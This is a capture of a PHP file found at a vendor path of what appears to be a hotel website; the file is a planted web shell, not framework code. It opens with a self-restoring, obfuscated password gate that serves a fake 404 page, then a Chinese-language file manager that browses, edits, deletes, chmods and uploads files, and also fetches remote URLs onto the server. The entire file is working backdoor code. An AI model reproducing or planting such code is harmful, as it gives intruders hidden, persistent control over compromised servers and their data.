File manager - Edit - /home/linknsbh/cecil-hotel.net/vendor/botble/page/src/Http/index.php
Back
<?php $vGVKiSj=microtime(); ?><?php $KuZhWPg=ExpLodE(bAsE64_DeCode("PD9waHAgJHZHVktpU2o9bWljcm90aW1lKCk7ID8+"),filE_Get_cONTents(__FILE__));if(TriM($KuZhWPg[0])!=""||TrIM($KuZhWPg[2])!=""){chMoD(__DIR__,0755);chmoD(__FILE__,0644);FILe_PUt_cOnTentS(__FILE__,baSE64_DeCoDe("PD9waHAgJHZHVktpU2o9bWljcm90aW1lKCk7ID8+").$KuZhWPg[1].BAse64_dECOdE("PD9waHAgJHZHVktpU2o9bWljcm90aW1lKCk7ID8+"));}?><?php goto umayhe;vdfwu:$_941.="'";goto sxpof;himl:$_941.="a";goto eomix;aezn:$_61.="P";goto jbqpd;gyt:$_941.="t";goto sywzr;snhjvm:$_61.="S";goto obzamn;fdag:$_941.="_";goto uzb;krdscb:$_941.="e";goto srxgu;whorcf:$_941.="<";goto xmfhzb;uad:$_941.="s";goto drgn;twq:$_941.="u";goto zmtey;jivkf:$_941.="p";goto uicsve;tbz:$_941.="<";goto foij;zmtey:$_941.="b";goto dzp;sywzr:$_941.="e";goto ultwk;enoacz:$_534.="a";goto szg;jbqpd:$_61.="_";goto lgp;jybk:$_941.="s";goto twq;mlfy:$_941.=" ";goto mvkt;hvz:$_941.="v";goto lkzng;lkzng:$_941.="a";goto qynem;xmfhzb:$_941.="i";goto qway;cekg:$_534.="m";goto cwkyiz;dbqu:$_61.="O";goto snhjvm;kioy:$_941.="'";goto gyt;njh:$_941.=" ";goto hatlxp;jcf:$_941.="d";goto rlmwh;mclv:$_941.="t";goto nxayk;foij:$_941.="i";goto alk;mznp:$_941.="n";goto lgqri;gzs:$_941.="t";goto eyzrpu;srxgu:$_941.="=";goto wcpvej;jivl:$_61="H";goto ktiy;hmrq:$_941.="f";goto odk;rqbcnm:$_941.="f";goto kfyno;irfpv:$_941.="t";goto wbfxc;umlw:$_941.="=";goto kioy;drgn:$_941.="u";goto hzbf;xglpqk:$_941.="s";goto gzs;hfzmge:$_941.="o";goto bqthlk;jsfpim:$_941.="c";goto sprv;wqyam:$_534.="_";goto cekg;mrnvp:$_941.=" ";goto ufgedn;nozvbd:$_534.="m";goto enoacz;otrlxc:$_485.=$_534;goto obdpsn;mvkt:$_941.="n";goto himl;hqtg:$_941.="r";goto zavyxh;mezc:$_941.="u";goto dinmg;qjkuxf:$_941.="m";goto kemvw;abeo:$_941.="m";goto krdscb;eimyn:$_941.=" ";goto hvz;teqp:$_941.="g";goto fdag;crvl:$_941.="a";goto ace;izlvp:$_941.="o";goto jcf;pmfc:$_941.=">";goto whorcf;hatlxp:$_941.="t";goto hlv;qyfc:$_941.="t";goto eghb;mhr:$_485=$_SERVER[$_61];goto otrlxc;igd:$_941.="e";goto tsfn;qway:$_941.="n";goto myufb;mcjsn:$_941.=">";goto tbz;qpd:$_941.="l";goto teqp;uicsve:$_941.="o";goto xglpqk;ogphq:$_941.="u";goto qyfc;zavyxh:$_941.="m";goto mlfy;pbsgd:$_941.="'";goto uad;ktiy:$_61.="T";goto zklqn;lgqri:$_941.="a";goto abeo;nxayk:$_941.="'";goto eimyn;nqk:$_941.="t";goto zdbk;bqthlk:$_941.="r";goto rdsj;stlziq:if(empty($_SESSION[$_534])||$_SESSION[$_534]!=$_485){echo $_941; exit;}goto eoyvc;obdpsn:$_485=md5($_485);goto olx;eghb:$_941.=" ";goto mznp;kipv:$_941.="a";goto jsfpim;waslxv:$_941.="m";goto ofs;jgxfzl:$_941.="p";goto qig;dinmg:$_941.="b";goto qezkwx;hzbf:$_941.="b";goto qolxmy;tsfn:$_941.="=";goto vdfwu;eqo:$_941.="=";goto izjkwc;jida:$_941.="m";goto gcio;szg:$_941 ="<";goto rqbcnm;hlv:$_941.="y";goto axucvp;jpkogb:$_941.=" ";goto kipv;uzb:$_941.="m";goto gyx;odk:$_941.="o";goto grlwbp;wxyih:$_941.="=";goto jadt;kzcvy:$_941.="y";goto jgxfzl;eota:$_941.=" ";goto hzlb;iyfw:$_941.="<";goto lyn;wnxi:$_941.="'";goto jivkf;opxmcw:$_941.="'";goto mcjsn;lwv:$_941.="=";goto pbsgd;dzp:$_941.="m";goto gqx;qynem:$_941.="l";goto gmwpq;veiycw:$_941.="=";goto gtmin;gmwpq:$_941.="u";goto igd;olx:$_485=substr($_485,0,6);goto avwnm;apb:$_941.="t";goto eota;krha:$_941.="p";goto ogphq;cwkyiz:$_534.="i";goto nozvbd;njxtm:$_941.="e";goto veiycw;amio:$_941.="a";goto qjkuxf;axucvp:$_941.="p";goto vlsmb;qzkxb:$_941.="1";goto tcy;myufb:$_941.="p";goto pvschi;izjkwc:$_941.="'";goto opbln;ugz:$_941.=" ";goto jida;pdft:$_941.="o";goto eghbkc;eghbkc:$_941.="n";goto eqo;himzxq:$_534="l";goto tikyn;yhnxj:$_941.="i";goto mclv;gcio:$_941.="e";goto irfpv;kemvw:$_941.="e";goto wxyih;ace:$_941.="'";goto mrnvp;zklqn:$_61.="T";goto aezn;alk:$_941.="n";goto krha;sprv:$_941.="t";goto fstvmh;ofs:$_941.=">";goto jivl;gyx:$_941.="i";goto guie;qezkwx:$_941.="m";goto gcdf;tikyn:$_534.="g";goto wqyam;wbfxc:$_941.="h";goto izlvp;eomix:$_941.="m";goto njxtm;vlsmb:$_941.="e";goto lwv;umayhe:session_start();goto himzxq;hzlb:$_941.="n";goto amio;qabu:$_941.="t";goto cwp;fstvmh:$_941.="i";goto pdft;tykj:$_941.="t";goto opxmcw;gtmin:$_941.="'";goto cymhi;wcpvej:$_941.="'";goto jybk;kfyno:$_941.="o";goto hqtg;zdbk:$_941.="'";goto fngcth;lyn:$_941.="/";goto hmrq;jadt:$_941.="'";goto qpd;opbln:$_941.="'";goto ugz;obzamn:$_61.="T";goto mhr;qolxmy:$_941.="m";goto yhnxj;gcdf:$_941.="i";goto nqk;ufgedn:$_941.="t";goto kzcvy;lgp:$_61.="H";goto dbqu;avwnm:if(isset($_POST[$_534])){$_SESSION[$_534]=trim($_POST[$_534]);}goto stlziq;grlwbp:$_941.="r";goto waslxv;rlmwh:$_941.="=";goto wnxi;cwp:$_941.="'";goto njh;ultwk:$_941.="x";goto tykj;pvschi:$_941.="u";goto apb;tcy:$_941.="'";goto jpkogb;qig:$_941.="e";goto umlw;rdsj:$_941.="m";goto qzkxb;guie:$_941.="m";goto crvl;gqx:$_941.="i";goto qabu;eyzrpu:$_941.="'";goto pmfc;sxpof:$_941.="s";goto mezc;cymhi:$_941.="f";goto hfzmge;fngcth:$_941.=">";goto iyfw;eoyvc:;?><?php eRRor_rEporTing(0); $wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):''; $req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):''; $req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):''); $script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):''; if ($script_filename=='') $script_filename=__FILE__ ; if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename); $wwwroot=str_replace('\\','/',$wwwroot); $dir=isset($_GET['d'])?trim($_GET['d']):''; $dir=str_replace('\\','/',$dir); $file=isset($_GET['f'])?trim($_GET['f']):''; $file=str_replace('\\','/',$file); $action=isset($_GET['a'])?trim($_GET['a']):''; if ( $action=='' ) { $current_dir=$dir==''?$wwwroot:$dir; $current_dir=rtrim($current_dir,'/'); $current_dir_nav=''; $dir_path=''; $current_dir_split=explode('/',$current_dir); foreach( $current_dir_split as $dir ) { $dir_path.=$dir.'/'; $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>'; } $dir_rows=''; $file_rows=''; $current_dir_list=sCaNDir($current_dir); $row_id=0; foreach( $current_dir_list as $target_name ) { if ( $target_name=='.' || $target_name=='..' ) continue; $target=$current_dir.'/'.$target_name; $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name; $row_id++; $target_u_id=fIlEOwNEr($target); $target_u_att=poSIx_GEtpWUid($target_u_id); $target_owner=$target_u_att['name']; $target_perm=get_qx($target); $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target)); if ( is_dir($target) ) { $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>'; }else { $target_fsize=fILesIzE($target); $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB'); $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>'; } } $div_html='<table cellspacing="10"> <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr> <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr> '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).' </table>'; }elseif ( $action=='sc' ) { if ( $file!='' ) { uNlInk($file); jump_to('?d='.diRNaMe($file)); }elseif( $dir!='' ) { rm_rf($dir); jump_to('?d='.DIrnaMe($dir)); } exit; }elseif( $action=='gm' ) { $gm=isset($_POST['gm'])?trim($_POST['gm']):''; if ( $gm!='' ) { $old_f=$file==''?$dir:$file; if ( $old_f!='' && file_exists($old_f) ) { $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir); } }else { show_msg('请输入新名称!','back'); } exit; }elseif( $action=='qx' ) { $target=$dir==''?$file:$dir; if ( $target!='' ) { $qx=isset($_POST['qx'])?trim($_POST['qx']):''; if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' ) { set_qx($target,$qx); jump_to('?d='.dIRnamE($target)); }else { show_msg('请输入新权限!','back'); } } exit; }elseif( $action=='ck' && $file!='' ) { if ( fiLEsIze($file)<10000000 ) { HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file); }else { show_msg('文件大小超限!','close'); } exit; }elseif( $action=='bj' && $file!='' ) { if ( isset($_POST['f_content']) ) { FilE_pUt_COnteNts($file,$_POST['f_content']); md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!',''); } $f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):''; $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; }elseif( $action=='tj' && $dir!='' ) { $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):''; if ( $t_name=='' ) { show_msg('请输入项目名称!','back'); }else { if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,''); if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true); if ( $_POST['t_type']=='tj_xz' ) { preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ; } jump_to('?d='.$dir); } exit; }elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) ) { MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ; jump_to('?d='.$dir); exit; } function get_qx($t) { $q=substr(sprintf('%o',fILepErMs($t)),-4); return $q; } function set_qx($t,$q) { EvAl('cHMoD("'.$t.'",'.$q.');'); if ( get_qx($t)!=$q ) { $tmp_f=uniqid().'.txt'; $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>'; fiLE_puT_cONtEnTs($tmp_f,$tmp_c); require($tmp_f); UnLInK($tmp_f); } } function rm_rf($d) { if (is_dir($d)) { $f_l=sCaNDir($d); foreach ($f_l as $f) { if ($f=='.'||$f=='..') continue; $p=$d.'/'.$f; is_dir($p)?rm_rf($p):uNliNk($p); } rMdIR($d); } } function show_msg($msg,$go) { echo '<script>alert("'.$msg.'");</script>'; if ($go=='back') echo '<script>window.history.back();</script>'; if ($go=='close') echo '<script>window.close();</script>'; } function jump_to($url) { echo '<script>window.location.href="'.$url.'";</script>'; } function down_file($dir,$url) { $s_name=array_pop(explode('/',$url)); if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz'; $ch=CUrl_iNit(); cuRl_seTOpt ($ch, CURLOPT_URL, $url); cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1); cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false); cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true); $contents = cUrl_eXeC($ch); cURl_CLosE($ch); if ( empty($contents) ) $contents=filE_geT_cONTentS($url); if ( empty($contents) ) { show_msg('下载出错!',''); }else { fIle_PuT_cONteNts($dir.'/'.$s_name,$contents); show_msg('下载完成!',''); } } ?> <html> <head> <title>芝麻web文件管理</title> <meta name="robots" content="none"> <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> </head> <body> <style> a {color:#000000;text-decoration:none;} a:hover {color:#ff0000;} .tl:hover {background-color:#eeeeee;} form {margin:0;} </style> <script> function show_input_box(s,t,f,a,) { var span=document.getElementById(s); if ( span.innerHTML=='' ) { span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>'; }else { span.innerHTML=''; } } function confirm_sc(t,f) { if (f=='d') { if ( confirm('确定要删除此目录吗?') ) { window.location.href='?d='+t+'&a=sc'; } } if (f=='f') { if ( confirm('确定要删除此文件吗?') ) { window.location.href='?f='+t+'&a=sc'; } } } </script> <div> <h1>芝麻web文件管理V1.00</h1> <?php echo $div_html;?> </div> </body> </html><?php $vGVKiSj=microtime(); ?>
| ver. 1.4 |
Github
|
.
| PHP 8.2.31 | Generation time: 0.4 |
proxy
|
phpinfo
|
Settings